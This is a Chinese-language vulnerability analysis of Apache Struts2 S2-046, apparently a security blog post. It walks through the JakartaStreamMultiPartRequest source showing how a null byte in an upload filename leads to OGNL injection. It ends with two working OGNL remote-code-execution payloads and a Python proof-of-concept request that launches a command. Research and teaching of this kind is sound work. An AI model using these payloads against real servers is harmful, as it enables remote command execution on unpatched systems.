前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
跟 S2-045 的原理相同,触发点不同。
环境搭建
2.3.31 版本 struts2 + Tomcat 9。
修改 struts.xml,切换文件上传的解析器:
<constant name="struts.multipart.parser" value="jakarta-stream" />
漏洞分析
阅读漏洞通告,可以看出问题出在 Content-Disposition,即上传文件名等信息中。
漏洞触发点同样是在 buildErrorMessage,而 parse 函数会调用这个函数,不过是在 JakartaStreamMultiPartRequest 类中:
public void parse(HttpServletRequest request, String saveDir) throws IOException {
try {
setLocale(request);
processUpload(request, saveDir);
} catch (Exception e) {
e.printStackTrace();
String errorMessage = buildErrorMessage(e, new Object[]{});
if (!errors.contains(errorMessage))
errors.add(errorMessage);
}
}
只要 processUpload 函数中抛出一个可控的错误信息,就可以进行 OGNL 表达式注入,继续看 processUpload 函数:
private void processUpload(HttpServletRequest request, String saveDir) throws Exception {
// Sanity check that the request is a multi-part/form-data request.
if (ServletFileUpload.isMultipartContent(request)) {
// Sanity check on request size.
boolean requestSizePermitted = isRequestSizePermitted(request);
// Interface with Commons FileUpload API
// Using the Streaming API
ServletFileUpload servletFileUpload = new ServletFileUpload();
FileItemIterator i = servletFileUpload.getItemIterator(request);
// Iterate the file items
while (i.hasNext()) {
try {
FileItemStream itemStream = i.next();
// If the file item stream is a form field, delegate to the
// field item stream handler
if (itemStream.isFormField()) {
processFileItemStreamAsFormField(itemStream);
}
// Delegate the file item stream for a file field to the
// file item stream handler, but delegation is skipped
// if the requestSizePermitted check failed based on the
// complete content-size of the request.
else {
// prevent processing file field item if request size not allowed.
// also warn user in the logs.
if (!requestSizePermitted) {
addFileSkippedError(itemStream.getName(), request);
LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);
continue;
}
processFileItemStreamAsFileField(itemStream, saveDir);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
我们先看看代表上传文件信息的 FileItemStream 接口,可以看到里面主要有获取 Content-Disposition 里三种信息的函数:
String getContentType();
String getName();
String getFieldName();
我们再看这几个函数的具体实现,其中 getName 的实现与众不同:
public String getName() {
return Streams.checkFileName(name);
}
public static String checkFileName(String fileName) {
if (fileName != null && fileName.indexOf('\u0000') != -1) {
// pFileName.replace("\u0000", "\\0")
final StringBuilder sb = new StringBuilder();
for (int i = 0; i < fileName.length(); i++) {
char c = fileName.charAt(i);
switch (c) {
case 0:
sb.append("\\0");
break;
default:
sb.append(c);
break;
}
}
throw new InvalidFileNameException(fileName, "Invalid file name: " + sb);
}
return fileName;
}
可以看到,只要在文件名中包含一个 \x00,我们就可以控制抛出一个错误信息了,所以可以通过让 requestSizePermitted 为 false,从而触发里面的 itemStream.getName(),而 requestSizePermitted 来自 isRequestSizePermitted,只要将 Content-length 设置为一个很大的数字就可以了。
其实上这个漏洞不需要设置也能触发 Content-length,requestSizePermitted 为 true 时也会触发 processFileItemStreamAsFileField 函数:
private void processFileItemStreamAsFileField(FileItemStream itemStream, String location) {
// Skip file uploads that don't have a file name - meaning that no file was selected.
if (itemStream.getName() == null || itemStream.getName().trim().length() < 1) {
LOG.debug("No file has been uploaded for the field: {}", itemStream.getFieldName());
return;
}
File file = null;
try {
// Create the temporary upload file.
file = createTemporaryFile(itemStream.getName(), location);
if (streamFileToDisk(itemStream, file))
createFileInfoFromItemStream(itemStream, file);
} catch (IOException e) {
if (file != null) {
try {
file.delete();
} catch (SecurityException se) {
se.printStackTrace();
LOG.warn("Failed to delete '#0' due to security exception above.", file.getName());
}
}
}
}
里面同样有 itemStream.getName(),也可以触发漏洞。
漏洞利用
在这个版本里面,_memberAccess 无法直接访问来修改,而 setMemberAccess 会被 isPackageExcluded 函数拦截,所以需要另寻他法,具体的分析可以看看参考文章,这里贴两个 payload:
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))
更全面一点的:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='calc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
最后的利用:
# -*- coding:utf8 -*-
import requests
url = "http://localhost:8080"
files = {
'upload': (
'Twings\x00' +
'%{(#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).'
'(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).'
'(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).'
'(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).'
'(@java.lang.Runtime@getRuntime().exec(\'calc\'))}',
'file data',
'application/octet-stream',
{}
)
}
print requests.post(url, files=files).headers
漏洞修复
同 S2-045。
参考文章: